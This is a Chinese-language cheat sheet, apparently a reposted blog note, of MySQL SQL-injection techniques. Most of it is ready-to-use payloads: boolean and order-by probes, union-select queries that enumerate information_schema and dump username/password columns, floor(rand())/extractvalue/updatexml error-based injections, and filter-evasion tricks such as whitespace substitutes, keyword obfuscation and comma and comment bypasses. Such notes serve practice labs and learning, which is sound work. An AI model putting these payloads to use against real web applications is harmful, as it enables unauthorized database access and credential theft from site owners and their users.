mysql注入基本语句,测试命令,命令构造

  • 命令记录

    • show databases;显示数据库名
    • show tables;显示表名
    • desc table; 显示列名及其属性
    • --+注释符
    • order by 用于对结果集进行排序
    • select 用于从表中选取数据
    • union select 用于合并两个或多个Select语句的结果集
    • concat 返回字符串连接的结果
    • concat_ws(separator,str1) 将多个字符串连接成一个字符串,但是可以一次性指定分隔符。
    • group_concat() 语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
      mysql注入基本语句,测试命令,命令构造_第1张图片
      图片.png
    • information_schema 数据库,简单来说就是MYSQL数据库的数据库,内容是数据库自身的信息,数据库中有哪些表,哪些字段,哪些视图的信息,可以通过Information_schema的信息查询
    • version() 或@@version 版本号
    • database() 数据库名字
    • user() 数据库的权限用户
    • current_user 当前用户名
    • session_user() 连接数据库的用户名
    • @@hostname 主机名
    • @@port 数据库端口
    • @@version_compile_os 操作系统(只能查出内核,无法查出操作系统具体版本)
    • mid(), str="123456" mid(str,2,1) 结果为2
    • substr()
    • Left()
    • @@datadir 读取数据库路径
    • @@basedir MYSQL安装路径
    • and可以转为&&,or可以转为||
      • note: &&和#在url都有特殊意义,需要编码
    • distinct() 去除重复的值
    • 空格替换
      • 不同的数据库版本,不同的数据库,不同的环境,用其中某一个替换空格有可能成功。有可能不成功。
      • TAB 09 horizontal TAB-----------------url编码后就是%09
      • LF 0A newline-----------------------url编码后----%0A
      • FF 0C new page----------------------url 编码后-----%0C
      • CR 0D carriage return-----------------url 编码后------%0D
      • VT 0B vertical TAB (MySQL and Microsoft SQL Server only)------%0B
      • - A0 - (MySQL only)-----------%A0
      • $id= preg_replace('/[ +]/',"", $id);//匹配 一个或更多的空格
      • $id= preg_replace('/[\s]/',"", $id);//匹配任意的空白字符(\s)
  • 测试命令记录

    • and 1=1和id=1 and 1=2 不一样则成功构造了注入点
    • POST型的用or 1=1 #
    • id=1 order by number ,输入不同的number,测出改注入点的字段数,大于number报错,小于等于number正常。
    • order by 被过滤可以用,orDer by ,ord<>er by, ordorderer by.
    • POST型的要id=1' and 1=2 union select ....
    • 错误页面NULL+注释符被过滤测试方式
      • 1(闭合条件)and(闭合条件)1 ———— 改变前面的1,也就是2(闭合条件)and(闭合条件)1,返回页面改变则闭合条件正确,这里不能用or,因为or两侧其一为真,结果为真。
    • 注释符过滤替代
      • 构造一个不需要注释符号的方式 1(闭合条件)and(闭合条件)1 和 id=0' union select 1,2,3 and '1
  • 命令构造记录

    • 基本构造
      • 查数据库名 select group_concat(schema_name) from information_schema.schemata或select group_concat(schema_name) from information_schema.schema --+
      • 查数据库 select table_schema from information_schema.tables group by table_schema limit 0,1 --+
      • 查表名 select table_name from information_schema.tables where table_schema='数据库名'或database() --+
      • 查字段名 select column_name from information_schema.columns where table_name='当前数据库下的表名'或where table_name=database() --+
      • 查看字段的内容 select 字段名 from 表名。
    • union select 1,2,3,
      • select后面跟字段数number一样多的字符,然后让union前面为flase,即id=0或-1等其他方式,然后后面的union select将被显示,用来查询信息。note:不要在1处输入,1处经常被作为id序号,而不是信息,可能不会显示到网页中。
      • union select 1,group_concat(schema_name),3 from information_schema.schemata--+ 查看数据库
      • union select 1, table_name , version() ...Number from information_schema.tables where table_schema='数据库名' limit 0,1 --+ 查看表1
      • union select 1, table_name , version() ...Number from information_schema.tables where table_schema='数据库名' limit 1,1 --+ 查看表2
      • union select 1,group_concat(table_name),version()...Number from information_schema.tables where table_schema='数据库名' --+ 查看所有的表
      • union select 1,group_concat(column_name),version()...Number from information_schema.columns where table_name='表名' --+ 查看所有的行
      • union select 1,group_concat(username,password),version()...Number from 表名--+ 字段中的内容
      • POST 1' and 1=2 union select 1,2,3 #
    • 截断字符测试名字
      • MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’
      • mid,substr,left 三个函数有这个功能
    • 报错注入
      • 有概率,多试几次次啊能成功。详见https://www.jianshu.com/p/ce167362c10f
      • id=1' and (select 1 from ( select count(*),concat('!!',(select table_schema from information_schema.tables group by table_schema limit 0,1),'!!',floor(rand(0)*2))DN from information_schema.tables group by DN) a ) --+
      • id=1' and (select 1 from ( select count(*),concat('!!',(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),'!!',floor(rand(0)*2))DN from information_schema.tables group by DN) a ) --+
      • id=1' and (select 1 from ( select count(*),concat('!!',(select column_name from information_schema.columns where table_name='表名' limit 0,1),'!!',floor(rand(0)*2))DN from information_schema.tables group by DN) a ) --+
      • id=1' and (select 1 from ( select count(*),concat('!!',(select 列名 from 数据库.表名 limit 0,1),'!!',floor(rand(0)*2))DN from information_schema.tables group by DN) a ) --+
      • POST型示例 1' and (select 1 from (select count(*),concat('::',(select schema_name from information_schema.schemata limit 0,1),'::',floor(rand(0)*2))x from information_schema.tables group by x) a ) # 1'后面的and也行or也行,不明原因。
    • extractvalue()和updatexml()的报错注入
      • id=1' and extractvalue(1,concat((select version() )))
      • extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用函数截取,一次查看32位 ,mid(select database(),1,32)
      • id=1‘ and updatexml('anything',concat('~',(select version())),'anything')) 也是32位。
    • 以可运行database()情况下绕过 ' " 等过滤
      • 要执行的语句where = (能当作文本的语句,而不是字符串,因为字符串要加'和")
    • 逗号过滤绕过
      • select 1,2 就类似于 select * from (select 1)a join (select 2)b

你可能感兴趣的:(mysql注入基本语句,测试命令,命令构造)